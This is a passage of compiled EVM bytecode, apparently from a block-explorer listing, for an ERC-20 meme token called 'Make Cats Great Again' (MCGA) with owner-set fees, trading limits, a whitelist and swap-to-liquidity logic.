7d565b34801561049b575f80fd5b5061033e6104aa366004611fb6565b610bb9565b3480156104ba575f80fd5b5061033e610c0c565b3480156104ce575f80fd5b506021546102f090600160a81b900460ff1681565b3480156104ee575f80fd5b506102776104fd366004611f82565b6001600160a01b03165f908152600e602052604090205490565b348015610522575f80fd5b5061033e610c4a565b348015610536575f80fd5b5061027760065481565b34801561054b575f80fd5b5061027760055481565b348015610560575f80fd5b5061033e61056f366004611feb565b610cbb565b34801561057f575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610281565b3480156105af575f80fd5b505f546001600160a01b031661058c565b3480156105cb575f80fd5b506011546102f09060ff1681565b3480156105e4575f80fd5b506040805180820190915260048152634d43474160e01b60208201526102c3565b348015610610575f80fd5b5061033e61061f36600461202a565b610d80565b34801561062f575f80fd5b5060215461058c906001600160a01b031681565b34801561064e575f80fd5b506102f061065d366004611df6565b610dba565b34801561066d575f80fd5b5061033e61067c366004611e1e565b610dc6565b34801561068c575f80fd5b5061033e61069b366004611e1e565b610e40565b3480156106ab575f80fd5b505f5461058c906001600160a01b031681565b3480156106c9575f80fd5b506102f06106d8366004611f82565b60126020525f908152604090205460ff1681565b3480156106f7575f80fd5b506102f0610706366004611df6565b610e98565b348015610716575f80fd5b50610277610725366004611e1e565b610f90565b348015610735575f80fd5b50610277610744366004612053565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b348015610779575f80fd5b5061033e610788366004612084565b610fd5565b348015610798575f80fd5b5061033e6107a7366004611f82565b611020565b3480156107b7575f80fd5b5061033e6107c6366004611fb6565b611107565b3480156107d6575f80fd5b50601f5461058c906001600160a01b031681565b335f818152600f602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108449086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146108885760405162461bcd60e51b815260040161087f906120a0565b60405180910390fd5b6103e860105461089891906120e9565b60055410156108a5575f80fd5b600555565b5f826108b583610f90565b119392505050565b5f546001600160a01b031633146108e65760405162461bcd60e51b815260040161087f906120a0565b601d91909155601e55565b6001600160a01b0383165f908152600f602090815260408083203384529091528120545f191461099a576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f908152600f8252838120338252909152919091205461097691849061115a565b6001600160a01b0385165f908152600f602090815260408083203384529091529020555b6109a5848484611192565b90505b9392505050565b6004546001600160a01b03165f908152600e60205260408120546109fa906003546001600160a01b03165f908152600e60205260409020546109f49060105490611550565b90611550565b905090565b5f546001600160a01b03163314610a285760405162461bcd60e51b815260040161087f906120a0565b601880546001600160a01b03199081166001600160a01b039788161790915560198054821695871695909517909455601a8054851693861693909317909255601c80548416918516919091179055601b80549092169216919091179055565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161087f906120a0565b5f5b82811015610b14578160125f868685818110610ad057610ad0612108565b9050602002016020810190610ae59190611f82565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610ab2565b50505050565b5f610850825f196107ea565b335f9081526012602052604090205460ff16610b40575f80fd5b6103e8601054610b5091906120e9565b6006541015610b5d575f80fd5b606481601054610b6d919061211c565b610b7791906120e9565b60065550565b5f546001600160a01b03163314610ba65760405162461bcd60e51b815260040161087f906120a0565b6011805460ff1916911515919091179055565b5f546001600160a01b03163314610be25760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610c355760405162461bcd60e51b815260040161087f906120a0565b6021805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610c735760405162461bcd60e51b815260040161087f906120a0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610ce45760405162461bcd60e51b815260040161087f906120a0565b6007869055600a85905560088490556009839055600b829055610d1582610d0f858188818c8c611591565b90611591565b600c55600d819055610d286002826120e9565b600c5410610d785760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e2035302500000000604482015260640161087f565b505050505050565b5f546001600160a01b03163314610da95760405162461bcd60e51b815260040161087f906120a0565b601591909155601691909155601755565b5f6109a8338484611192565b5f546001600160a01b03163314610def5760405162461bcd60e51b815260040161087f906120a0565b60195447906001600160a01b03166108fc6064610e0c858561211c565b610e1691906120e9565b6040518115909202915f818181858888f19350505050158015610e3b573d5f803e3d5ffd5b505050565b335f9081526012602052604090205460ff16610e5a575f80fd5b6103e8601054610e6a91906120e9565b6005541015610e77575f80fd5b6103e881601054610e88919061211c565b610e9291906120e9565b60055550565b335f9081526012602052604081205460ff16610eb2575f80fd5b815f03610f22576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610efb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1f9190612133565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303815f875af1158015610f6c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a8919061214a565b5f610850610f9c6109af565b6021546001600160a01b03165f908152600e6020526040902054610fcf90610fc8906002905b906115ef565b85906115ef565b9061166d565b5f546001600160a01b03163314610ffe5760405162461bcd60e51b815260040161087f906120a0565b60218054921515600160a81b0260ff60a81b1990931692909217909155602255565b5f546001600160a01b031633146110495760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b0381166110ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146111305760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f818484111561117d5760405162461bcd60e51b815260040161087f9190611da6565b505f6111898486612165565b95945050505050565b6023545f9060ff16156111b1576111aa8484846116ae565b90506109a8565b6001600160a01b0384165f9081526001602052604090205460ff161580156111f157506001600160a01b0383165f9081526001602052604090205460ff16155b156112aa57602154600160a01b900460ff166112465760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161087f565b60115460ff16156112aa576001600160a01b0383165f9081526012602052604090205460ff166112aa5760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b604482015260640161087f565b6001600160a01b0384165f9081526001602052604090205460ff161580156112db57506001600160a01b0383163014155b80156112f557506003546001600160a01b03848116911614155b801561130f57506021546001600160a01b03848116911614155b80156113295750601c546001600160a01b03848116911614155b801561134357506019546001600160a01b03848116911614155b801561136757506001600160a01b0383165f9081526014602052604090205460ff16155b15611407576001600160a01b0383165f908152600e60205260409020546006546113918483612178565b11156114055760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000606482015260840161087f565b505b611411848361177e565b6114196117ea565b156114265761142661183e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f908152600e909152919091205461147791849061115a565b6001600160a01b0385165f908152600e6020908152604080832093909355601390529081205460ff16806114c257506001600160a01b0384165f9081526013602052604090205460ff165b6114d6576114d1858486611c06565b6114d8565b825b6001600160a01b0385165f908152600e60205260409020549091506114fd9082611591565b6001600160a01b038086165f818152600e602052604090819020939093559151908716905f805160206122278339815191529061153d9085815260200190565b60405180910390a3506001949350505050565b5f6109a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115a565b5f8061159d8385612178565b9050838110156109a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087f565b5f825f036115fe57505f610850565b5f611609838561211c565b90508261161685836120e9565b146109a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087f565b5f6109a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d7a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600e909152918220546116fe91849061115a565b6001600160a01b038086165f908152600e6020526040808220939093559085168152205461172c9083611591565b6001600160a01b038085165f818152600e602052604090819020939093559151908616905f805160206122278339815191529061176c9086815260200190565b60405180910390a35060019392505050565b600554811115806117a657506001600160a01b0382165f9081526014602052604090205460ff165b6117e65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161087f565b5050565b6021545f906001600160a01b0316331480159061180a575060235460ff16155b801561181f5750602154600160a81b900460ff165b80156109fa575050602254305f908152600e6020526040902054101590565b6023805460ff19166001179055601d54601e545f9161185c916108aa565b6118685760075461186a565b5f5b90505f61188d6002610fcf600c54610fcf866022546115ef90919063ffffffff16565b90505f6118a58260225461155090919063ffffffff16565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106118dd576118dd612108565b6001600160a01b03928316602091820292909201015260025482519116908290600190811061190e5761190e612108565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b81524792919091169063791ac947906119579086905f9087903090429060040161218b565b5f604051808303815f87803b15801561196e575f80fd5b505af1158015611980573d5f803e3d5ffd5b505050505f611998824761155090919063ffffffff16565b90505f6119b26119a988600261166d565b600c5490611550565b90505f6119c66002610fcf8481878d6115ef565b90505f6119e283610fcf600854876115ef90919063ffffffff16565b90505f6119fe84610fcf600a54886115ef90919063ffffffff16565b90505f611a1a85610fcf600954896115ef90919063ffffffff16565b6019546040519192505f916001600160a01b039091169085908381818185875af1925050503d805f8114611a69576040519150601f19603f3d011682016040523d82523d5f602084013e611a6e565b606091505b5050601a546040519192506001600160a01b03169083905f81818185875af1925050503d805f8114611abb576040519150601f19603f3d011682016040523d82523d5f602084013e611ac0565b606091505b5050601b546040519192506001600160a01b03169084905f81818185875af1925050503d805f8114611b0d576040519150601f19603f3d011682016040523d82523d5f602084013e611b12565b606091505b505f9250508b159050611bee57601f5460185460405163f305d71960e01b8152306004820152602481018e90525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015611b8c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611bb191906121fb565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506023805460ff1916905550505050505050505050565b6017546021545f91906001600160a01b0390811690841603611c2b5750601554611c46565b6021546001600160a01b0390811690861603611c4657506016545b5f611c72600d546064611c59919061211c565b610fcf84610fc2600c548a6115ef90919063ffffffff16565b90505f611c90600c54610fcf600b54856115ef90919063ffffffff16565b90505f611c9d8383611550565b305f908152600e6020526040902054909150611cb99082611591565b305f908152600e602052604080822092909255601c546001600160a01b031681522054611ce69083611591565b601c546001600160a01b039081165f908152600e602090815260409182902093909355518381523092918b16915f80516020612227833981519152910160405180910390a38115611d6457601c546040518381526001600160a01b03918216918a16905f805160206122278339815191529060200160405180910390a35b611d6e8784611550565b98975050505050505050565b5f8183611d9a5760405162461bcd60e51b815260040161087f9190611da6565b505f61118984866120e9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114611df1575f80fd5b919050565b5f8060408385031215611e07575f80fd5b611e1083611ddb565b946020939093013593505050565b5f60208284031215611e2e575f80fd5b5035919050565b5f8060408385031215611e46575f80fd5b50508035926020909101359150565b5f805f60608486031215611e67575f80fd5b611e7084611ddb565b9250611e7e60208501611ddb565b929592945050506040919091013590565b5f805f805f60a08688031215611ea3575f80fd5b611eac86611ddb565b9450611eba60208701611ddb565b9350611ec860408701611ddb565b9250611ed660608701611ddb565b9150611ee460808701611ddb565b90509295509295909350565b8015158114611efd575f80fd5b50565b5f805f60408486031215611f12575f80fd5b833567ffffffffffffffff811115611f28575f80fd5b8401601f81018613611f38575f80fd5b803567ffffffffffffffff811115611f4e575f80fd5b8660208260051b8401011115611f62575f80fd5b602091820194509250840135611f7781611ef0565b809150509250925092565b5f60208284031215611f92575f80fd5b6109a882611ddb565b5f60208284031215611fab575f80fd5b81356109a881611ef0565b5f8060408385031215611fc7575f80fd5b611fd083611ddb565b91506020830135611fe081611ef0565b809150509250929050565b5f805f805f8060c08789031215612000575f80fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b5f805f6060848603121561203c575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215612064575f80fd5b61206d83611ddb565b915061207b60208401611ddb565b90509250929050565b5f8060408385031215612095575f80fd5b8235611e1081611ef0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261210357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b8082028115828204841417610850576108506120d5565b5f60208284031215612143575f80fd5b5051919050565b5f6020828403121561215a575f80fd5b81516109a881611ef0565b81810381811115610850576108506120d5565b80820180821115610850576108506120d5565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121db5783516001600160a01b03168352602093840193909201916001016121b4565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561220d575f80fd5b505081516020830151604090930151909492935091905056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fe35a492862233a61e6bbbe8c7c62f1d45f739365b544394dc17f5518f08d2c064736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610257575f3560e01c8063715018a61161013f578063a9853b3a116100b3578063d51ed1c811610078578063d51ed1c81461070b578063dd62ed3e1461072a578063df20fd491461076e578063f2fde38b1461078d578063f84ba65d146107ac578063f887ea40146107cb575f80fd5b8063a9853b3a14610662578063ab5a188714610681578063b2bdfa7b146106a0578063b7593ad9146106be578063ce261d10146106ec575f80fd5b80638da5cb5b116101045780638da5cb5b146105a4578063900ba33b146105c057806395d89b41146105d95780639dc7576814610605578063a8aa1b3114610624578063a9059cbb14610643575f80fd5b8063715018a61461051757806378109e541461052b5780637d1db4a51461054057806386f6c3c114610555578063893d20e814610574575f80fd5b80632b112e49116101d65780635d0044ca1161019b5780635d0044ca146104525780635e04e4f814610471578063658d4b7f146104905780636c580801146104af5780636ddd1713146104c357806370a08231146104e3575f80fd5b80632b112e49146103c6578063313ce567146103da5780633554dd3c146103f55780634f85a0c514610414578063571ac8b014610433575f80fd5b80631161ae391161021c5780631161ae391461034057806318160ddd1461035f5780631df4ccfc14610373578063201e79911461038857806323b872dd146103a7575f80fd5b80630445b6671461026257806306fdde031461028a57806308fd3d05146102d0578063095ea7b3146103005780630f72f8ee1461031f575f80fd5b3661025e57005b5f80fd5b34801561026d575f80fd5b5061027760225481565b6040519081526020015b60405180910390f35b348015610295575f80fd5b5060408051808201909152601581527426b0b5b29021b0ba399023b932b0ba1020b3b0b4b760591b60208201525b6040516102819190611da6565b3480156102db575f80fd5b506021546102f090600160a01b900460ff1681565b6040519015158152602001610281565b34801561030b575f80fd5b506102f061031a366004611df6565b6107ea565b34801561032a575f80fd5b5061033e610339366004611e1e565b610856565b005b34801561034b575f80fd5b506102f061035a366004611e35565b6108aa565b34801561036a575f80fd5b50601054610277565b34801561037e575f80fd5b50610277600c5481565b348015610393575f80fd5b5061033e6103a2366004611e35565b6108bd565b3480156103b2575f80fd5b506102f06103c1366004611e55565b6108f1565b3480156103d1575f80fd5b506102776109af565b3480156103e5575f80fd5b5060405160128152602001610281565b348015610400575f80fd5b5061033e61040f366004611e8f565b6109ff565b34801561041f575f80fd5b5061033e61042e366004611f00565b610a87565b34801561043e575f80fd5b506102f061044d366004611f82565b610b1a565b34801561045d575f80fd5b5061033e61046c366004611e1e565b610b26565b34801561047c575f80fd5b5061033e61048b366004611f9b565b610b7d565b34801561049b575f80fd5b5061033e6104aa366004611fb6565b610bb9565b3480156104ba575f80fd5b5061033e610c0c565b3480156104ce575f80fd5b506021546102f090600160a81b900460ff1681565b3480156104ee575f80fd5b506102776104fd366004611f82565b6001600160a01b03165f908152600e602052604090205490565b348015610522575f80fd5b5061033e610c4a565b348015610536575f80fd5b5061027760065481565b34801561054b575f80fd5b5061027760055481565b348015610560575f80fd5b5061033e61056f366004611feb565b610cbb565b34801561057f575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610281565b3480156105af575f80fd5b505f546001600160a01b031661058c565b3480156105cb575f80fd5b506011546102f09060ff1681565b3480156105e4575f80fd5b506040805180820190915260048152634d43474160e01b60208201526102c3565b348015610610575f80fd5b5061033e61061f36600461202a565b610d80565b34801561062f575f80fd5b5060215461058c906001600160a01b031681565b34801561064e575f80fd5b506102f061065d366004611df6565b610dba565b34801561066d575f80fd5b5061033e61067c366004611e1e565b610dc6565b34801561068c575f80fd5b5061033e61069b366004611e1e565b610e40565b3480156106ab575f80fd5b505f5461058c906001600160a01b031681565b3480156106c9575f80fd5b506102f06106d8366004611f82565b60126020525f908152604090205460ff1681565b3480156106f7575f80fd5b506102f0610706366004611df6565b610e98565b348015610716575f80fd5b50610277610725366004611e1e565b610f90565b348015610735575f80fd5b50610277610744366004612053565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b348015610779575f80fd5b5061033e610788366004612084565b610fd5565b348015610798575f80fd5b5061033e6107a7366004611f82565b611020565b3480156107b7575f80fd5b5061033e6107c6366004611fb6565b611107565b3480156107d6575f80fd5b50601f5461058c906001600160a01b031681565b335f818152600f602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108449086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146108885760405162461bcd60e51b815260040161087f906120a0565b60405180910390fd5b6103e860105461089891906120e9565b60055410156108a5575f80fd5b600555565b5f826108b583610f90565b119392505050565b5f546001600160a01b031633146108e65760405162461bcd60e51b815260040161087f906120a0565b601d91909155601e55565b6001600160a01b0383165f908152600f602090815260408083203384529091528120545f191461099a576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f908152600f8252838120338252909152919091205461097691849061115a565b6001600160a01b0385165f908152600f602090815260408083203384529091529020555b6109a5848484611192565b90505b9392505050565b6004546001600160a01b03165f908152600e60205260408120546109fa906003546001600160a01b03165f908152600e60205260409020546109f49060105490611550565b90611550565b905090565b5f546001600160a01b03163314610a285760405162461bcd60e51b815260040161087f906120a0565b601880546001600160a01b03199081166001600160a01b039788161790915560198054821695871695909517909455601a8054851693861693909317909255601c80548416918516919091179055601b80549092169216919091179055565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161087f906120a0565b5f5b82811015610b14578160125f868685818110610ad057610ad0612108565b9050602002016020810190610ae59190611f82565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610ab2565b50505050565b5f610850825f196107ea565b335f9081526012602052604090205460ff16610b40575f80fd5b6103e8601054610b5091906120e9565b6006541015610b5d575f80fd5b606481601054610b6d919061211c565b610b7791906120e9565b60065550565b5f546001600160a01b03163314610ba65760405162461bcd60e51b815260040161087f906120a0565b6011805460ff1916911515919091179055565b5f546001600160a01b03163314610be25760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610c355760405162461bcd60e51b815260040161087f906120a0565b6021805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610c735760405162461bcd60e51b815260040161087f906120a0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610ce45760405162461bcd60e51b815260040161087f906120a0565b6007869055600a85905560088490556009839055600b829055610d1582610d0f858188818c8c611591565b90611591565b600c55600d819055610d286002826120e9565b600c5410610d785760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e2035302500000000604482015260640161087f565b505050505050565b5f546001600160a01b03163314610da95760405162461bcd60e51b815260040161087f906120a0565b601591909155601691909155601755565b5f6109a8338484611192565b5f546001600160a01b03163314610def5760405162461bcd60e51b815260040161087f906120a0565b60195447906001600160a01b03166108fc6064610e0c858561211c565b610e1691906120e9565b6040518115909202915f818181858888f19350505050158015610e3b573d5f803e3d5ffd5b505050565b335f9081526012602052604090205460ff16610e5a575f80fd5b6103e8601054610e6a91906120e9565b6005541015610e77575f80fd5b6103e881601054610e88919061211c565b610e9291906120e9565b60055550565b335f9081526012602052604081205460ff16610eb2575f80fd5b815f03610f22576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610efb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1f9190612133565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303815f875af1158015610f6c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a8919061214a565b5f610850610f9c6109af565b6021546001600160a01b03165f908152600e6020526040902054610fcf90610fc8906002905b906115ef565b85906115ef565b9061166d565b5f546001600160a01b03163314610ffe5760405162461bcd60e51b815260040161087f906120a0565b60218054921515600160a81b0260ff60a81b1990931692909217909155602255565b5f546001600160a01b031633146110495760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b0381166110ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146111305760405162461bcd60e51b815260040161087f906120a0565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f818484111561117d5760405162461bcd60e51b815260040161087f9190611da6565b505f6111898486612165565b95945050505050565b6023545f9060ff16156111b1576111aa8484846116ae565b90506109a8565b6001600160a01b0384165f9081526001602052604090205460ff161580156111f157506001600160a01b0383165f9081526001602052604090205460ff16155b156112aa57602154600160a01b900460ff166112465760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161087f565b60115460ff16156112aa576001600160a01b0383165f9081526012602052604090205460ff166112aa5760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b604482015260640161087f565b6001600160a01b0384165f9081526001602052604090205460ff161580156112db57506001600160a01b0383163014155b80156112f557506003546001600160a01b03848116911614155b801561130f57506021546001600160a01b03848116911614155b80156113295750601c546001600160a01b03848116911614155b801561134357506019546001600160a01b03848116911614155b801561136757506001600160a01b0383165f9081526014602052604090205460ff16155b15611407576001600160a01b0383165f908152600e60205260409020546006546113918483612178565b11156114055760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000606482015260840161087f565b505b611411848361177e565b6114196117ea565b156114265761142661183e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f908152600e909152919091205461147791849061115a565b6001600160a01b0385165f908152600e6020908152604080832093909355601390529081205460ff16806114c257506001600160a01b0384165f9081526013602052604090205460ff165b6114d6576114d1858486611c06565b6114d8565b825b6001600160a01b0385165f908152600e60205260409020549091506114fd9082611591565b6001600160a01b038086165f818152600e602052604090819020939093559151908716905f805160206122278339815191529061153d9085815260200190565b60405180910390a3506001949350505050565b5f6109a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115a565b5f8061159d8385612178565b9050838110156109a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087f565b5f825f036115fe57505f610850565b5f611609838561211c565b90508261161685836120e9565b146109a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087f565b5f6109a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d7a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600e909152918220546116fe91849061115a565b6001600160a01b038086165f908152600e6020526040808220939093559085168152205461172c9083611591565b6001600160a01b038085165f818152600e602052604090819020939093559151908616905f805160206122278339815191529061176c9086815260200190565b60405180910390a35060019392505050565b600554811115806117a657506001600160a01b0382165f9081526014602052604090205460ff165b6117e65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161087f565b5050565b6021545f906001600160a01b0316331480159061180a575060235460ff16155b801561181f5750602154600160a81b900460ff165b80156109fa575050602254305f908152600e6020526040902054101590565b6023805460ff19166001179055601d54601e545f9161185c916108aa565b6118685760075461186a565b5f5b90505f61188d6002610fcf600c54610fcf866022546115ef90919063ffffffff16565b90505f6118a58260225461155090919063ffffffff16565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106118dd576118dd612108565b6001600160a01b03928316602091820292909201015260025482519116908290600190811061190e5761190e612108565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b81524792919091169063791ac947906119579086905f9087903090429060040161218b565b5f604051808303815f87803b15801561196e575f80fd5b505af1158015611980573d5f803e3d5ffd5b505050505f611998824761155090919063ffffffff16565b90505f6119b26119a988600261166d565b600c5490611550565b90505f6119c66002610fcf8481878d6115ef565b90505f6119e283610fcf600854876115ef90919063ffffffff16565b90505f6119fe84610fcf600a54886115ef90919063ffffffff16565b90505f611a1a85610fcf600954896115ef90919063ffffffff16565b6019546040519192505f916001600160a01b039091169085908381818185875af1925050503d805f8114611a69576040519150601f19603f3d011682016040523d82523d5f602084013e611a6e565b606091505b5050601a546040519192506001600160a01b03169083905f81818185875af1925050503d805f8114611abb576040519150601f19603f3d011682016040523d82523d5f602084013e611ac0565b606091505b5050601b546040519192506001600160a01b03169084905f81818185875af1925050503d805f8114611b0d576040519150601f19603f3d011682016040523d82523d5f602084013e611b12565b606091505b505f9250508b159050611bee57601f5460185460405163f305d71960e01b8152306004820152602481018e90525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015611b8c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611bb191906121fb565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506023805460ff1916905550505050505050505050565b6017546021545f91906001600160a01b0390811690841603611c2b5750601554611c46565b6021546001600160a01b0390811690861603611c4657506016545b5f611c72600d546064611c59919061211c565b610fcf84610fc2600c548a6115ef90919063ffffffff16565b90505f611c90600c54610fcf600b54856115ef90919063ffffffff16565b90505f611c9d8383611550565b305f908152600e6020526040902054909150611cb99082611591565b305f908152600e602052604080822092909255601c546001600160a01b031681522054611ce69083611591565b601c546001600160a01b039081165f908152600e602090815260409182902093909355518381523092918b16915f80516020612227833981519152910160405180910390a38115611d6457601c546040518381526001600160a01b03918216918a16905f805160206122278339815191529060200160405180910390a35b611d6e8784611550565b98975050505050505050565b5f8183611d9a5760405162461bcd60e51b815260040161087f9190611da6565b505f61118984866120e9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114611df1575f80fd5b919050565b5f8060408385031215611e07575f80fd5b611e1083611ddb565b946020939093013593505050565b5f60208284031215611e2e575f80fd5b5035919050565b5f8060408385031215611e46575f80fd5b50508035926020909101359150565b5f805f60608486031215611e67575f80fd5b611e7084611ddb565b9250611e7e60208501611ddb565b929592945050506040919091013590565b5f805f805f60a08688031215611ea3575f80fd5b611eac86611ddb565b9450611eba60208701611ddb565b9350611ec860408701611ddb565b9250611ed660608701611ddb565b9150611ee460808701611ddb565b90509295509295909350565b8015158114611efd575f80fd5b50565b5f805f60408486031215611f12575f80fd5b833567ffffffffffffffff811115611f28575f80fd5b8401601f81018613611f38575f80fd5b803567ffffffffffffffff811115611f4e575f80fd5b8660208260051b8401011115611f62575f80fd5b602091820194509250840135611f7781611ef0565b809150509250925092565b5f60208284031215611f92575f80fd5b6109a882611ddb565b5f60208284031215611fab575f80fd5b81356109a881611ef0565b5f8060408385031215611fc7575f80fd5b611fd083611ddb565b91506020830135611fe081611ef0565b809150509250929050565b5f805f805f8060c08789031215612000575f80fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b5f805f6060848603121561203c575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215612064575f80fd5b61206d83611ddb565b915061207b60208401611ddb565b90509250929050565b5f8060408385031215612095575f80fd5b8235611e1081611ef0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261210357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b8082028115828204841417610850576108506120d5565b5f60208284031215612143575f80fd5b5051919050565b5f6020828403121561215a575f80fd5b81516109a881611ef0565b81810381811115610850576108506120d5565b80820180821115610850576108506120d5565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121db5783516001600160a01b03168352602093840193909201916001016121b4565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561220d575f